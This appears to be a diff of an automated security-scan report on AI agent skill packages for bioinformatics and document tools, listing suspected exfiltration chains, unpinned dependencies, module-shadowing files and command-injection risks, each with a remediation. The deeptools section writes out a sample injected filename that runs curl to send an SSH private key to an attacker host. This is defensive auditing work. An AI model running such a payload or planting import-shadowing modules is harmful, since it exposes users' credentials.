Python files (sksurv.py, sklearn.py) is particularly notable as these could be intended executable scripts. The static pre-scan also flagged cross-file exfiltration chains across 3 files, suggesting the missing scripts may contain malicious behavior that was not included in this analysis package.> File: `SKILL.md`- > **Remediation:** Document that users should use 'nf-core pipelines download' to cache the pipeline locally before execution, and verify the pipeline's SHA/digest. Consider adding a note about verifying the pipeline revision hash rather than relying solely on the version tag, as tags can be moved.+ > **Remediation:** Audit all referenced files to ensure they are present and contain only expected content. Investigate the missing Python files (sksurv.py, sklearn.py) as they were flagged by static analysis for potential environment variable exfiltration and cross-file data exfiltration chains. Do not deploy this skill until all referenced files can be reviewed.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The SKILL.md manifest does not declare an 'allowed-tools' field. The skill executes Python scripts (build_counts_matrix.py, validate_samplesheet.py), runs Bash commands (nextflow, fastqc, fastp, STAR, Salmon, conda), and performs file I/O. Without an explicit allowed-tools declaration, there is no manifest-level constraint on what tools the agent may invoke on behalf of this skill.+### tiledbvcf — 🟠 HIGH++- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration+ > The skill's YAML manifest does not declare an allowed-tools field. While this is optional per the agent skills specification, the skill involves cloud storage access, network calls, environment variable reads, and file I/O. Declaring allowed-tools would help constrain the agent's tool usage and reduce the attack surface.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter listing only the tools required (e.g., Python, Bash) to limit the agent's operational scope.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access with Network Calls Detected+ > The pre-scan static analysis flagged a cross-file exfiltration chain spanning 3 files, involving environment variable access combined with network calls. Although the SKILL.md instructions appear benign and no script files were directly provided for review, the static analyzer detected patterns consistent with credential harvesting (e.g., reading environment variables such as TILEDB_REST_TOKEN or cloud credentials) followed by exfiltration to external endpoints. The skill references tiledbvcf.py and tiledb.py which were not found in the package, suggesting these scripts may be missing or obfuscated. The combination of cloud storage URIs (S3, Azure, GCS), API token handling, and the static findings of cross-file env var exfiltration chains raises significant concern.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing the tools actually needed, e.g.: allowed-tools: [Read, Write, Bash, Python]. This provides a manifest-level constraint and makes the skill's intended capabilities auditable.+ > **Remediation:** Locate and audit all Python scripts (tiledbvcf.py, tiledb.py, and any unreferenced scripts) for environment variable reads combined with outbound network calls. Ensure no credentials or environment variables are transmitted to external servers beyond the intended TileDB-Cloud API. Pin all package versions and validate that pip install tiledb-cloud only installs from trusted sources.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description with Keyword Baiting- > The skill description contains an unusually large number of trigger phrases and keyword patterns designed to maximize activation: 'analyze my RNA-seq', 'FASTQ to DESeq2', 'run nf-core/rnaseq', 'STAR/Salmon quantification', 'build a counts matrix for DESeq2', 'go from reads to differentially expressed genes and enriched pathways'. While these are plausibly legitimate for a bioinformatics orchestrator skill, the density of quoted trigger phrases in the description is characteristic of keyword baiting to inflate activation frequency.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Token Exposure via Environment Variable Guidance+ > The skill instructs users to set their TileDB API token as an environment variable (TILEDB_REST_TOKEN). While this is a common pattern, combined with the static analysis finding of environment variable exfiltration chains across multiple files, there is a risk that the referenced (but missing) scripts may read this token and transmit it to unintended endpoints. The skill does not warn users about the sensitivity of this token or recommend secure storage alternatives.> File: `SKILL.md`- > **Remediation:** Reduce the description to a concise functional summary without embedding multiple quoted trigger phrases. Let the skill name and a single clear description drive activation rather than keyword stuffing.+ > **Remediation:** Add explicit warnings about token sensitivity. Recommend using secrets managers or credential files with restricted permissions rather than plain environment variables. Audit all scripts that access TILEDB_REST_TOKEN to ensure it is only sent to legitimate TileDB-Cloud endpoints.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Python Dependency in Setup Instructions- > The setup section instructs users to install 'pytximport' and 'pandas' without version pins ('uv pip install pytximport pandas'). Downstream skill dependencies (pydeseq2, gseapy, gprofiler-official) are also listed without version pins. Unpinned dependencies are vulnerable to supply chain compromise via malicious package updates or typosquatting.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation via pip+ > The SKILL.md instructions direct users to install tiledb-cloud and tiledb-cloud[life-sciences] via pip without version pinning. This creates a supply chain risk where a compromised or typosquatted package version could be installed. The tiledb-cloud package name is also relatively niche, increasing the risk of typosquatting attacks.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific versions, e.g.: 'uv pip install pytximport==0.4.0 pandas==2.2.2'. Document the pinned versions in a requirements.txt or pyproject.toml file. The skill itself already correctly notes 'Unpinned versions' as a common pitfall but does not apply this to its own setup instructions.+ > **Remediation:** Pin package versions explicitly (e.g., pip install tiledb-cloud==0.x.y). Use a requirements.txt with hashes. Verify package integrity via checksums or a trusted private registry.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Conda Environment in Setup Instructions- > The conda environment creation command pins STAR and Salmon versions but leaves fastqc, fastp, trim-galore, subread, and multiqc unpinned. Unpinned conda packages can resolve to different versions across installations, undermining reproducibility and creating supply chain risk.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Referenced Script Files Not Present in Package+ > The SKILL.md references tiledbvcf.py and tiledb.py as part of the skill package, but these files were not found. This discrepancy between declared and actual package contents makes it impossible to fully audit the skill's behavior. Missing scripts could indicate incomplete packaging, or that malicious scripts are intended to be downloaded or generated at runtime.> File: `SKILL.md`- > **Remediation:** Pin all conda packages to specific versions, e.g.: fastqc=0.12.1, fastp=0.23.4, trim-galore=0.6.10, subread=2.0.6, multiqc=1.21. Export the full environment with 'conda env export > environment.yml' for full reproducibility.+ > **Remediation:** Ensure all referenced script files are included in the skill package. Do not reference external or dynamically fetched scripts. Perform a complete audit of all 13 files detected by the static analyzer (8 markdown, 3 python, 2 other) to identify any scripts not surfaced in the skill submission.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — User-Provided File Paths Passed to Scripts Without Validation- > Both scripts (validate_samplesheet.py and build_counts_matrix.py) accept user-provided file paths via command-line arguments and use them directly in file operations (pd.read_csv, glob patterns, Path operations). The validate_samplesheet.py script reads FASTQ paths from the samplesheet CSV and checks their existence. A maliciously crafted samplesheet could reference sensitive files or use path traversal patterns. The build_counts_matrix.py script globs user-provided directories for quant files.- > File: `scripts/build_counts_matrix.py`- > **Remediation:** Validate that all user-provided paths are within expected directories (e.g., resolve paths and check they don't escape the working directory). Sanitize path inputs before use. Consider restricting glob patterns to expected file extensions only.+### torchdrug — 🟠 HIGH-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Directory Traversal in build_counts_matrix.py- > The build_from_salmon function uses glob('*/quant.sf') on a user-provided quant_dir, and build_from_star uses glob('*ReadsPerGene.out.tab'). If the user provides a very large directory (e.g., the home directory or a network mount), this could result in scanning enormous directory trees, consuming significant I/O and memory resources. There is no depth limit or file count limit on the glob operations.- > File: `scripts/build_counts_matrix.py`- > **Remediation:** Add a maximum file count check after globbing (e.g., warn or abort if more than a reasonable number of files are found, such as 1000). Consider adding a --max-samples argument. Validate that quant_dir is a reasonable path before globbing.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analyzer Flagged Environment Variable Exfiltration and Cross-File Exfiltration Chain+ > The pre-scan static analyzer detected BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls) and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain spanning 3 files) and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION. These findings indicate that one or more of the referenced Python files (torchdrug.py, torch.py, rdkit.py, pytorch_lightning.py) likely contain code that reads environment variables and transmits data to external endpoints. This is a classic credential/secret harvesting pattern. The files were not available for direct inspection, but the static signals are high-confidence indicators of a data exfiltration threat.+ > **Remediation:** Do not deploy this skill until all referenced Python files are recovered and audited. Specifically: (1) Inspect torchdrug.py, torch.py, rdkit.py, and pytorch_lightning.py for any os.environ access, subprocess calls, or network requests (requests, urllib, socket, httpx, etc.). (2) Verify no credentials, API keys, or environment variables are transmitted to external servers. (3) If exfiltration code is confirmed, treat the skill as malicious and discard it entirely.-### cobrapy — 🟡 MEDIUM+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Suspicious Python File Naming — Shadowing Standard Library and Popular Packages+ > The skill references Python files named torch.py, rdkit.py, and pytorch_lightning.py. These names directly shadow well-known, widely-used packages (PyTorch, RDKit, PyTorch Lightning). If these files are present in the working directory when the agent executes Python code, they could intercept imports of the legitimate libraries, allowing malicious code to execute whenever the agent or user code does 'import torch', 'import rdkit', or 'import pytorch_lightning'. This is a classic tool/module shadowing attack.+ > **Remediation:** Rename any skill-internal Python files to avoid shadowing standard library or popular package names. Legitimate helper scripts should use clearly distinct names (e.g., torchdrug_helpers.py, skill_utils.py). If these files are not legitimate helpers but are intended to shadow imports, the skill should be rejected as malicious.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Environment Variable Access with Network Calls- > The pre-scan static analysis detected patterns consistent with environment variable access combined with network calls (BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files). The skill's compatibility notes explicitly state it makes network calls to BiGG/BioModels repositories for remote model loading. While the documented network usage (load_model for remote BiGG/BioModels models) appears legitimate, the combination of environment variable access and network calls flagged across multiple files warrants scrutiny. The skill package reportedly contains 10 Python files, none of which were provided for review, making it impossible to fully verify the static analysis findings.- > **Remediation:** The 10 Python files in the package were not provided for review. These files must be audited to verify: (1) what environment variables are being accessed, (2) what network endpoints are being called, (3) whether any environment variable values are transmitted in network requests. If environment variables (e.g., API keys, credentials, PATH) are being read and sent to external servers, this constitutes a critical data exfiltration vulnerability.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata+ > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill references Python files (torchdrug.py, torch.py, rdkit.py, pytorch_lightning.py) that were not found, the actual tool usage cannot be fully verified.+ > File: `SKILL.md`+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML manifest to document and restrict which agent tools this skill is permitted to use.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Files May Indicate Incomplete Package- > Several files referenced in the SKILL.md instructions and reference documents are not found in the skill package: templates/workflows.md, matplotlib.py, cobra.py, templates/api_quick_reference.md, assets/api_quick_reference.md, assets/workflows.md. While some of these (matplotlib.py, cobra.py) appear to be standard library references rather than actual bundled files, the missing template/asset files could indicate an incomplete package or references to files that should be bundled but are not present.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Multiple Referenced Script Files Not Found+ > The skill references several Python script files (torchdrug.py, torch.py, rdkit.py, pytorch_lightning.py) and numerous asset/template markdown files that were not found in the package. This creates uncertainty about the actual behavior of the skill. The static pre-scan flagged potential environment variable exfiltration and cross-file exfiltration chains across 3 files, but those files could not be inspected. The missing files may contain the actual executable logic of the skill.> File: `SKILL.md`- > **Remediation:** Audit all referenced files and either bundle them with the skill package or remove references to non-existent files. Verify that matplotlib.py and cobra.py are not intended as local override files that could shadow standard library imports.+ > **Remediation:** Ensure all referenced files are included in the skill package for complete security review. The static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 3 files — these missing Python scripts should be audited before deployment.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency on External Network Resources for Model Loading- > The skill fetches metabolic models from external repositories (BiGG, BioModels) at runtime. While the cobra package itself is pinned to version 0.31.1, the remote model data fetched from BiGG/BioModels is not versioned or integrity-checked within the skill. A compromised or modified model file from these external sources could potentially contain malicious data that influences analysis results. Additionally, the gapfilling workflow requires a user-provided universal reactions SBML file from an unspecified source.+### adaptyv — 🟡 MEDIUM++- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned GitHub Dependency Installation+ > The skill instructs users to install the `adaptyv-sdk` package directly from a GitHub repository without any version pin, commit hash, or tag. This means any future malicious commit to the repository would be silently pulled in on the next install, creating a supply chain risk. The package is also noted as not yet on PyPI (beta), reducing the vetting surface.> File: `SKILL.md`- > **Remediation:** Document the expected checksums or versions of remotely fetched models. Advise users to verify the integrity of externally sourced SBML files before use in gapfilling workflows. Consider caching verified model files locally within the skill package.+ > **Remediation:** Pin the installation to a specific commit hash or release tag, e.g.: `git+https://github.com/adaptyvbio/adaptyv-sdk.git@<commit-sha-or-tag>`. Once the package is published to PyPI, prefer a pinned PyPI version (e.g., `adaptyv-sdk==0.1.0`).-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Computationally Expensive Operations Without Adequate Resource Guardrails- > Several workflows in references/workflows.md invoke computationally expensive operations (double gene deletions, loopless FVA, large flux sampling runs) that can consume significant CPU and memory resources. While the workflow file does include some warnings about performance (e.g., 'Double deletions scale poorly'), the default parameters in some examples (e.g., processes=4 for double deletions, n=1000 for sampling) could cause resource exhaustion on genome-scale models. The SKILL.md best practices section does mention starting with small n and processes=1, but this guidance is not enforced in the workflow code.- > File: `references/workflows.md`- > **Remediation:** Add explicit resource limits or user confirmation prompts before executing computationally expensive operations on genome-scale models. Consider adding timeout parameters or maximum iteration limits to prevent runaway computations.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Referenced Script File `adaptyv.py` Not Present+ > The skill references `adaptyv.py` in its instructions but the file was not found in the package. If this file is expected to contain credential-handling or API interaction logic, its absence means the skill's behavior is incomplete and unauditable. If it is later added without review, it could introduce data exfiltration or credential mishandling risks.+ > File: `SKILL.md`+ > **Remediation:** Either include `adaptyv.py` in the skill package and subject it to security review, or remove the reference from the instructions if the file is not required.-### deeptools — 🟡 MEDIUM+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Activation Triggers+ > The skill description contains an extensive list of activation keywords including generic terms like 'protein binding assays', 'protein screening experiments', 'BLI/SPR assays', 'thermostability assays', and code-level triggers such as imports of `adaptyv`, `adaptyv_sdk`, `FoundryClient`, or any reference to `foundry-api-public.adaptyvbio.com`. While most of these are legitimate, the breadth of triggers—especially code-level import detection—could cause the skill to activate in contexts where it is not needed, potentially inflating its perceived scope.+ > File: `SKILL.md`+ > **Remediation:** Narrow activation triggers to the most specific and unambiguous terms. Avoid triggering on generic scientific terms that may appear in unrelated contexts. Code-import triggers are acceptable but should be documented clearly.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field- > The skill does not declare an 'allowed-tools' field in its YAML frontmatter. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill executes Python scripts and generates/runs bash scripts, declaring allowed tools would improve transparency.+### biopython — 🟡 MEDIUM++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access Scoped to NCBI_API_KEY Only+ > The skill reads the NCBI_API_KEY environment variable and assigns it to Entrez.api_key. This is explicitly scoped to a single, well-documented variable for NCBI rate-limit purposes. The skill instructions explicitly warn against loading unrelated environment variables. The static scanner flagged this as a potential exfiltration pattern, but in context it is a standard and documented practice. No network calls send this key to non-NCBI endpoints. This is LOW severity as an informational note rather than a genuine threat.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter, e.g., 'allowed-tools: [Bash, Python, Read, Write]', to document the intended tool usage scope.+ > **Remediation:** The current pattern is acceptable. Ensure that any generated code continues to read only NCBI_API_KEY and no other environment variables, and that the key is only passed to Bio.Entrez (NCBI endpoints), not to arbitrary third-party URLs.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field in Manifest- > The skill does not specify a 'compatibility' field in its YAML frontmatter. This is a minor documentation gap that reduces transparency about where the skill is intended to operate.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Description May Trigger Unintended Activation+ > The skill description states it is a 'Comprehensive molecular biology toolkit' covering a very wide range of tasks including 'Any other computational molecular biology task'. This broad framing could cause the agent to activate this skill for tasks that are only tangentially related to bioinformatics, potentially leading to unnecessary network calls to NCBI or BLAST services.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML frontmatter to clarify supported environments.+ > **Remediation:** Tighten the description to enumerate specific supported task types and avoid catch-all phrases like 'Any other computational molecular biology task' to reduce unintended activation scope.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unsanitized User Input Interpolated into Generated Bash Scripts- > The workflow_generator.py script interpolates user-supplied parameters (--input-bam, --chip-bam, --chip-bams, --rnaseq-bam, --atac-bam, --genes-bed, --peaks-bed, --output-dir) directly into bash script templates via Python f-strings without any sanitization or escaping. If a user provides a maliciously crafted filename or path containing shell metacharacters (e.g., semicolons, backticks, $(), pipes), the generated bash script could execute arbitrary commands when run. For example, a value like 'file.bam; curl attacker.com/$(cat ~/.ssh/id_rsa)' would be embedded verbatim into the generated script.- > File: `scripts/workflow_generator.py`- > **Remediation:** Sanitize all user-supplied parameters before interpolating them into bash scripts. Validate that file paths contain only expected characters (alphanumeric, dots, underscores, hyphens, forward slashes). Use shlex.quote() for string values embedded in shell scripts. Validate numeric parameters (threads, genome_size) are actually integers before interpolation. Reject inputs containing shell metacharacters.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned/Missing Version Pin in Some Reference Examples+ > The SKILL.md installation section recommends 'biopython==1.87' with an explicit pin, which is good practice. However, several reference files (references/alignment.md, references/blast.md) show subprocess calls to external tools (clustalo, muscle, blastn) without version checks, and the hmmlearn dependency mentioned in troubleshooting is referenced without a version pin. These are minor supply-chain hygiene concerns rather than active threats.+ > File: `references/alignment.md`+ > **Remediation:** Document expected versions of external CLI tools (clustalo, muscle, blastn). For hmmlearn, recommend pinning: 'hmmlearn==<version>' in installation instructions.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pre-Scan Flags Potential Environment Variable Access with Network Calls- > The static pre-scan flagged 'BEHAVIOR_ENV_VAR_EXFILTRATION' and 'BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN' across 2 files. However, manual review of the provided script files (workflow_generator.py and validate_files.py) does not reveal any environment variable access (os.environ) or network calls (requests, urllib, socket, etc.). The flagged behavior may be present in unreferenced or unshared script files within the 32-file package inventory, or may be a false positive from the static analyzer. The provided scripts are limited to file I/O, argument parsing, and bash script generation using only user-supplied parameters interpolated via f-strings.- > File: `scripts/workflow_generator.py`- > **Remediation:** Audit all 32 files in the package (particularly any Python scripts not shown in this analysis) for os.environ access combined with network calls. Ensure no script reads environment variables (API keys, credentials, tokens) and transmits them externally.+- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands+ > Code block in references/alignment.md at line 293 contains potentially dangerous Python code.+ > File: `references/alignment.md:293`+ > **Remediation:** Review the code block for security implications.++- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands+ > Code block in references/alignment.md at line 311 contains potentially dangerous Python code.+ > File: `references/alignment.md:311`+ > **Remediation:** Review the code block for security implications.++- **🔵 LOW** `LLM_COMMAND_INJECTION` — subprocess Usage with External CLI Tools Without Input Sanitization Warning+ > Multiple reference files demonstrate use of subprocess.run() with file paths passed as arguments to external tools (blastn, clustalo, muscle, makeblastdb). The reference documentation notes 'do not construct command arguments from unsanitized user input', which is good guidance. However, the skill does not enforce this at a code level, and generated code could inadvertently pass user-supplied filenames directly into subprocess argument lists, creating a command injection risk if the agent constructs these calls from user input.+ > File: `references/blast.md`+ > **Remediation:** Add explicit input validation examples showing how to sanitize file paths before passing them to subprocess. Use pathlib.Path for path validation and avoid shell=True in all subprocess calls (already done). Add a code example demonstrating safe path handling.++- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands+ > Code block in references/blast.md at line 184 contains potentially dangerous Python code.+ > File: `references/blast.md:184`+ > **Remediation:** Review the code block for security implications.++- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands+ > Code block in references/blast.md at line 211 contains potentially dangerous Python code.+ > File: `references/blast.md:211`+ > **Remediation:** Review the code block for security implications.++- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands+ > Code block in references/blast.md at line 300 contains potentially dangerous Python code.+ > File: `references/blast.md:300`+ > **Remediation:** Review the code block for security implications.-### dnanexus-integration — 🟡 MEDIUM+- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands+ > Code block in references/blast.md at line 329 contains potentially dangerous Python code.+ > File: `references/blast.md:329`+ > **Remediation:** Review the code block for security implications.++### bulk-rnaseq — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Command Execution with User-Controlled Input- > The app development examples show subprocess.check_call() being used with parameters that could include user-controlled input (e.g., quality_threshold passed directly to a command). If the agent generates code following these patterns with unsanitized user input, it could lead to command injection vulnerabilities in deployed DNAnexus apps.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Unpinned Python Dependency Installation+ > The setup section installs Python packages using 'uv pip install pytximport pandas' without version pins. Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be published and automatically installed. The downstream skills (pydeseq2, pathway-enrichment) are also noted to install their own unpinned dependencies. While bioconda tool versions are pinned (star=2.7.11b, salmon=1.10.3), the Python glue layer is not.> File: `SKILL.md`- > **Remediation:** Add explicit guidance in the skill documentation about input validation and sanitization before passing user-controlled values to subprocess calls. Recommend using shlex.quote() or validating numeric inputs before use in shell commands.+ > **Remediation:** Pin all Python dependencies to exact versions, e.g.: uv pip install pytximport==0.4.0 pandas==2.2.2. Document the pinned versions in the skill manifest or a requirements.txt file. Apply the same pinning discipline to downstream skill dependencies.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License Information- > The skill manifest declares 'license: Unknown', which means there is no clear licensing information. While not a direct security threat, this is a metadata concern for a skill that interacts with sensitive genomics data and cloud credentials.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Pipeline Execution via Nextflow+ > The skill instructs the agent to run 'nextflow run nf-core/rnaseq -r 3.26.0' which pulls the pipeline from the internet at runtime. While the revision is pinned with '-r 3.26.0', the pipeline is fetched from GitHub/nf-core infrastructure without integrity verification (no checksum or hash). A compromised nf-core repository or a man-in-the-middle attack could substitute malicious pipeline code. Additionally, the smoke-test command 'nextflow run nf-core/rnaseq -r 3.26.0 -profile test,docker' executes with network access and container pulling.> File: `SKILL.md`- > **Remediation:** Specify a valid open-source license (e.g., MIT, Apache 2.0) in the YAML frontmatter.+ > **Remediation:** Document the expected SHA/commit hash of the pinned revision alongside the -r flag. Recommend using 'nf-core pipelines download' for offline/air-gapped execution. Add a note to verify pipeline integrity before production use.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation- > The skill instructs users to install dxpy without a version pin ('uv pip install dxpy'). Additionally, the configuration reference shows Python dependencies being installed via pip at runtime without version pinning in some examples. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be published.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill does not declare an allowed-tools field in the YAML manifest. The skill executes Python scripts (build_counts_matrix.py, validate_samplesheet.py), runs Bash commands (nextflow, fastqc, fastp, STAR, Salmon, featureCounts, conda), reads and writes files, and makes network calls (nextflow pulling nf-core pipelines). Without an allowed-tools declaration, there is no manifest-level constraint on what tools the agent may use, reducing auditability and the ability to enforce least-privilege.> File: `SKILL.md`- > **Remediation:** Pin the dxpy version explicitly (e.g., 'uv pip install dxpy==0.375.0'). In configuration examples, always show pinned versions for pip installs.+ > **Remediation:** Add an explicit allowed-tools field listing the minimum required tools, e.g.: allowed-tools: [Bash, Python, Read, Write]. This makes the skill's intended capabilities auditable and enforceable.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration- > The skill manifest does not specify the 'allowed-tools' field. Given that this skill involves executing bash commands, running Python scripts, uploading/downloading files, and making network calls to the DNAnexus platform, declaring the required tools would improve security posture and allow the agent runtime to enforce appropriate restrictions.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing compatibility Field+ > The skill does not declare a compatibility field. Given that the skill orchestrates network-dependent operations (pulling nf-core pipelines via Nextflow, fetching reference genomes from Ensembl/GENCODE, running cloud/HPC workloads), the absence of a compatibility declaration means users and agents cannot determine the expected execution environment, network requirements, or platform constraints from the manifest alone.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' declaration to the YAML frontmatter listing the tools actually needed (e.g., Bash, Python) to enable runtime enforcement of tool restrictions.+ > **Remediation:** Add a compatibility field describing the required environment, e.g.: compatibility: Requires Nextflow + container engine (Docker/Singularity) for Path A; bioconda environment for Path B. Network access required for reference downloads and nf-core pipeline pulls.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Broad Network Access Configuration Encouraged- > The configuration reference documentation encourages setting 'network': ['*'] for full internet access in dxapp.json. While this may be needed for some use cases, the skill does not provide guidance on restricting network access to only required domains, potentially enabling data exfiltration from deployed apps.- > File: `references/configuration.md`- > **Remediation:** Add guidance recommending that network access be restricted to specific required domains rather than using wildcard '*'. Show examples with specific domain allowlists as the preferred pattern.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Description with Excessive Keyword Baiting+ > The skill description contains an unusually large number of trigger phrases and keyword combinations designed to maximize activation across a wide range of user queries. Phrases like 'analyze my RNA-seq', 'FASTQ to DESeq2', 'run nf-core/rnaseq', 'STAR/Salmon quantification', 'build a counts matrix for DESeq2', and 'go from reads to differentially expressed genes and enriched pathways' are embedded directly in the YAML description field. While this is a legitimate orchestrator skill, the density of keyword triggers in the description field goes beyond normal documentation and approaches activation-baiting territory.+ > File: `SKILL.md`+ > **Remediation:** Reduce the description to a concise functional summary. Move usage examples to the SKILL.md instruction body rather than embedding them in the YAML manifest description field.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Token Hardcoding Risk Mentioned in Documentation- > The python-sdk.md reference documentation shows examples of setting API tokens directly in code (e.g., 'auth_token': 'YOUR_API_TOKEN'). While these are documentation examples, they could encourage users to hardcode credentials. The skill itself does note 'Never hardcode credentials in source code' in best practices, which is positive, but the example code patterns could be misleading.- > File: `references/python-sdk.md`- > **Remediation:** Add explicit warnings in the documentation examples that API tokens should be loaded from environment variables or secure credential stores, not hardcoded. Show the environment variable approach as the primary example.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — User-Provided File Paths Passed Directly to File Operations Without Validation+ > In build_counts_matrix.py, user-supplied paths (--quant-dir, --tx2gene, --counts-file, --output-dir) are passed directly to Path() and file operations without sanitization. While this is a CLI tool and not a direct agent API, the agent may construct and execute these commands with user-provided paths. A malicious path like '../../../etc/passwd' or paths containing shell metacharacters could cause unintended file access if the agent constructs shell commands from user input.+ > File: `scripts/build_counts_matrix.py`+ > **Remediation:** Add path validation to ensure all input paths are within expected working directories. Use Path.resolve() and check that resolved paths don't escape the project directory. Document that these scripts should only be run with trusted, user-confirmed paths.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Remote FASTQ Paths Accepted Without Authentication or Integrity Checks+ > The validate_samplesheet.py script explicitly handles remote FASTQ paths (http://, https://, ftp://, s3://, gs://, az://) and skips existence checks for them with only a warning. The script does not validate that remote URLs are from expected/trusted sources, check for authentication requirements, or verify file integrity (checksums). This means a samplesheet could reference arbitrary remote URLs that the downstream pipeline (nf-core/rnaseq) would then fetch and process.+ > File: `scripts/validate_samplesheet.py`+ > **Remediation:** Consider adding domain allowlisting for remote URLs, or at minimum flagging all remote URLs as requiring explicit user confirmation before the pipeline proceeds. Document that remote FASTQ sources are not integrity-verified.++### docx — 🟡 MEDIUM++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill's YAML manifest does not declare an allowed-tools field. The skill executes Python scripts, Bash commands (via subprocess), compiles native C code with gcc, and uses LibreOffice. Without an explicit allowed-tools declaration, the agent's tool usage boundaries are undefined. This is an informational finding per the skill spec where allowed-tools is optional.+ > File: `SKILL.md`+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest listing the tools this skill requires (e.g., Python, Bash) to make the skill's capabilities transparent and auditable.++- **🔵 LOW** `LLM_COMMAND_INJECTION` — Unsanitized Comment Text Inserted into XML+ > In comment.py, the comment text provided by the user (via command-line argument or API call) is inserted directly into XML content via string formatting without XML escaping. The COMMENT_XML template uses Python's .format() to embed the text field directly. While the docstring states 'Text should be pre-escaped XML', there is no enforcement of this requirement in the code. Malicious XML content in the text argument could break the XML structure or inject unexpected XML elements into the comments.xml file.+ > File: `scripts/comment.py:95`+ > **Remediation:** Apply XML escaping to the text, author, and initials fields before inserting them into the XML template. Use xml.sax.saxutils.escape() or equivalent to escape <, >, &, and quote characters. Do not rely solely on documentation to enforce input sanitization.++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network-Capable Subprocess Execution+ > The soffice.py script calls os.environ.copy() to capture the full environment and passes it to subprocess.run() calls. While the primary purpose is to configure LibreOffice, the full environment copy includes all environment variables (AWS credentials, API keys, tokens, SSH keys, etc.) that are present in the process environment. This environment is passed to 